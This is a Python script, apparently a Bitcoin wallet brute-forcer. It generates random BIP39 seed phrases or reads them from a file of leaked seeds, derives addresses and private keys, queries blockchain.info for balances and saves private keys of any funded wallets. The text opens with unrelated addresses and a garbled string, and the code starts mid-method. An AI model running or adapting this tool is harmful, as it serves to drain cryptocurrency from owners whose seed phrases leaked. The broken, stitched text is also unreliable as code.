0xC1dD461A7AAE37967F8Ef69809536A7814929674
0xE8feee93Af1fD0296AFe27BC936583091F6d977e
0xE86fDCe66D34e058aAd86A801163ed18E5982c46
0xF2341F36CbfC1Cec1D87d473447f791B180573Fc
0xBA7D2A698EF7c266A5f41389153AC8e88c3fD71cÁ1G2SÁ1G2Á1G3AH3A2SG32SG32A3S2DD32DSG3S2D
G2SDG32S3DG23SDG2SDtem__(self, key):
return self.cache.get(key)
def __setitem__(self, key, value):
if len(self.cache) >= self.max_size:
self.cache.pop(next(iter(self.cache)))
self.cache[key] = value
# ==================== SEED GENERATOR (SAMPLING) ====================
class SeedGenerator:
def __init__(self, config: Config):
self.config = config
self.words = self._load_wordlist()
self.validator = Bip39MnemonicValidator(Bip39Languages.ENGLISH)
self.years = [2009, 2010, 2011, 2012, 2013, 2014]
self.weights = [0.30, 0.25, 0.20, 0.15, 0.07, 0.03]
def _load_wordlist(self):
if not Path(self.config.WORDLIST_FILE).exists():
import urllib.request
url =
"https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt"
urllib.request.urlretrieve(url, self.config.WORDLIST_FILE)
with open(self.config.WORDLIST_FILE, "r") as f:
return [line.strip() for line in f]
def generate(self):
while True:
year = random.choices(self.years, weights=self.weights)[0]
seed = " ".join(random.choices(self.words, k=12))
if self.validator.IsValid(seed):
return seed
# ==================== MULTI API ====================
class MultiAPI:
def __init__(self, config: Config, session: aiohttp.ClientSession):
self.config = config
self.session = session
self.api_keys = config.BLOCKCHAIN_API_KEYS
self.usage = {k: 0 for k in self.api_keys}
async def check_balances(self, addresses: List[str], stats: Stats) -> Dict[str,
dict]:
results = {}
joined = "|".join(addresses)
key = self.api_keys[0]
url = f"https://blockchain.info/balance?active={joined}&api_code={key}"
try:
async with self.session.get(url, timeout=self.config.API_TIMEOUT) as
resp:
stats.api_calls += 1
if resp.status == 200:
data = await resp.json()
results.update(data)
except:
pass
for addr in addresses:
if addr not in results:
results[addr] = {'final_balance': 0}
return results
# ==================== SCAN SEED ====================
async def scan_seed(seed: str, config: Config, api: MultiAPI,
cache: AddressCache, stats: Stats) -> Optional[str]:
result = []
seed_bytes = Bip39SeedGenerator(seed).Generate()
addresses, info = [], []
for path_name, path in config.DERIVATION_PATHS.items():
for i in range(config.ADDRESS_INDEX_RANGE):
full_path = f"{path}/{i}"
cache_key = f"{seed}:{full_path}"
if cache[cache_key] is not None:
continue
bip = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN)
addr_obj =
bip.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(i)
address = addr_obj.PublicKey().ToAddress()
private_key = addr_obj.PrivateKey().Raw().ToHex()
addresses.append(address)
info.append((address, private_key, full_path, cache_key, path_name))
balances = await api.check_balances(addresses, stats)
for (address, priv, full_path, key, path_name) in info:
balance = balances.get(address, {}).get("final_balance", 0) / 1e8
stats.addresses_checked += 1
cache[key] = balance
if balance >= config.MIN_BALANCE:
stats.wallets_found += 1
result.append(
f"Type: {path_name}\nAddress: {address}\nBalance: {balance:.8f}
BTC\nPrivate: {priv}\nPath: {full_path}\n"
)
stats.seeds_scanned += 1
return "\n".join(result) if result else None
# ==================== WORKER ====================
loop = asyncio.new_event_loop()
lock = Lock()
def worker(seed: str, config: Config, cache: dict, stats: dict):
async def _run():
async with aiohttp.ClientSession() as session:
api = MultiAPI(config, session)
secure = SecureStorage(config.KEY_FILE)
addr_cache = AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE,
secure)
addr_cache.cache.update(cache)
stat = Stats()
result = await scan_seed(seed, config, api, addr_cache, stat)
with lock:
for k in ['seeds_scanned', 'wallets_found', 'addresses_checked',
'api_calls']:
stats[k] += getattr(stat, k)
cache.update(addr_cache.cache)
return result
return asyncio.run(_run())
# ==================== MAIN ====================
def main():
start_time = time.time()
config = Config()
setup_logging(config)
validator = Bip39MnemonicValidator(Bip39Languages.ENGLISH)
sg = SeedGenerator(config)
secure = SecureStorage(config.KEY_FILE)
shared_cache = {}
shared_stats = {'seeds_scanned': 0, 'wallets_found': 0, 'addresses_checked': 0,
'api_calls': 0}
seeds = []
if Path(config.LEAK_FILE).exists():
with open(config.LEAK_FILE, "r", encoding="utf-8") as f:
seeds = [line.strip() for line in f if validator.IsValid(line.strip())]
batch = 0
with ThreadPoolExecutor(max_workers=config.THREADS) as pool:
while batch < config.TOTAL_BATCHES:
if not seeds:
seeds = [sg.generate() for _ in range(config.SEED_BATCH_SIZE)]
futures = [pool.submit(worker, s, config, shared_cache, shared_stats)
for s in seeds]
results = [f.result() for f in futures]
found = [r for r in results if r]
if found:
with open(config.RESULT_FILE, "a", encoding="utf-8") as f:
f.write("\n".join(found) + "\n")
elapsed = time.time() - start_time
speed = shared_stats['seeds_scanned'] / elapsed if elapsed > 0 else 0
logging.info("="*60)
logging.info(f"Seeds scanned :
{shared_stats['seeds_scanned']}")
logging.info(f"Addresses checked :
{shared_stats['addresses_checked']}")
logging.info(f"Wallets with balance :
{shared_stats['wallets_found']}")
logging.info(f"Elapsed time : {elapsed:.2f} seconds")
logging.info(f"Speed : {speed:.2f} seeds/sec")
logging.info("="*60)
seeds = []
batch += 1
AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE, secure).save()
if __name__ == "__main__":
asyncio.set_event_loop(loop)
main()
